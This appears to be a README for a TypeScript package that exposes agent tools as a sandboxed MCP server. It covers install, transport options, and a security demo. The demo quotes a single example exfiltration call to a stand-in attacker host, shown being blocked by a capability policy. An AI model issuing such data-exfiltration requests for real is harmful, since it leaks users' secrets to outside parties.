Telleroutlook MCP

/mcp-server

Maturity: beta — API shape may change in minor versions; changes announced in CHANGELOG.

Expose any wasmagent agent as a Model Context Protocol (MCP) server.

Part of wasmagent — a TypeScript + WASM agent runtime.

Before / After

Replacing a bare tool list published directly to the host with a sandboxed execute_code surface:

+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";

+import { QuickJSKernel } from "@wasmagent/kernel-quickjs"; +import { ToolRegistry } from "@wasmagent/core";

-// Before: host sees every tool directly — 40 tools × schema = huge context cost -server.setRequestHandler(ListToolsRequestSchema, () => ({

• tools: [...allFortyTools],

-})); +// After: host sees ONLY docs_search + execute_code; model dispatches internally +const tools = new ToolRegistry(); +// tools.register(...) — register your 40 tools here + +await runStdio(createCodeModeServer({

• tools,
• kernel: new QuickJSKernel(),
• capabilities: { allowedHosts: [], cpuMs: 5_000 },
• serverInfo: { name: "my-agent", version: "1.0.0" },

+}));

At N=30 downstream tools the bootstrap-token cost drops to 13.6% of the direct approach. The model calls execute_code with a script; the script calls callTool(...) for whichever tools it needs — all under one CapabilityManifest.

Install

npm install /mcp-server /core

Three transports, one server

The McpAgentServer is transport-agnostic: it speaks JSON-RPC through a single handle(req) method. Pick the transport that fits your host:

1. Stdio (Claude Desktop, Cursor, Glama health-check, …)

# Zero-config default — code-mode server with VmKernel and no

downstream tools. Useful for sanity / introspection only.

npx /mcp-server

For a real deployment, write a small Node script and call runStdio() with your own server:

// server.mjs

import { createCodeModeServer, runStdio } from "/mcp-server/stdio"; import { QuickJSKernel } from "/kernel-quickjs"; import { ToolRegistry } from "/core";

const tools = new ToolRegistry(); // tools.register(...) — your tools here

await runStdio(createCodeModeServer({ tools, kernel: new QuickJSKernel(), capabilities: { allowedHosts: [], cpuMs: 5000 }, serverInfo: { name: "my-agent", version: "1.0.0" }, }));

2. HTTP / Streamable (Cloudflare Workers, Vercel, etc.)

import { createCodeModeServer, createFetchHandler } from "/mcp-server";

const server = createCodeModeServer({ /* … */ }); const handler = createFetchHandler(server); // In a Worker: export default { fetch: handler }

3. Direct handle()

If you have a custom transport, the protocol-level brain is one async (req) => { response } call away — see McpAgentServer.handle().

Code-mode (two-tool surface)

createCodeModeServer() wraps any tool registry into a docs_search + execute_code MCP surface. At N=30 downstream tools the bootstrap-token cost drops to 13.6% of direct MCP. See docs/guides/code-mode.md.

Security demo

CapabilityManifest enforces network and filesystem policy at the kernel boundary for every script the model runs through execute_code:

import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";

import { QuickJSKernel } from "@wasmagent/kernel-quickjs"; import { ToolRegistry } from "@wasmagent/core";

const tools = new ToolRegistry(); // tools.register(...)

await runStdio(createCodeModeServer({ tools, kernel: new QuickJSKernel(), capabilities: { allowedHosts: [], // no outbound network allowedPaths: [], // no filesystem access cpuMs: 5_000, memoryLimitBytes: 64 * 1024 * 1024, }, serverInfo: { name: "my-agent", version: "1.0.0" }, }));

// Model-generated code inside execute_code that tries to exfiltrate data: // fetch("https://attacker.example/exfil?data=secret") // → throws: network access denied — host "attacker.example" not in allowedHosts

The manifest is enforced regardless of which downstream tools the script calls — one declaration covers the entire execute_code surface.

License

Apache-2.0 — © wasmagent contributors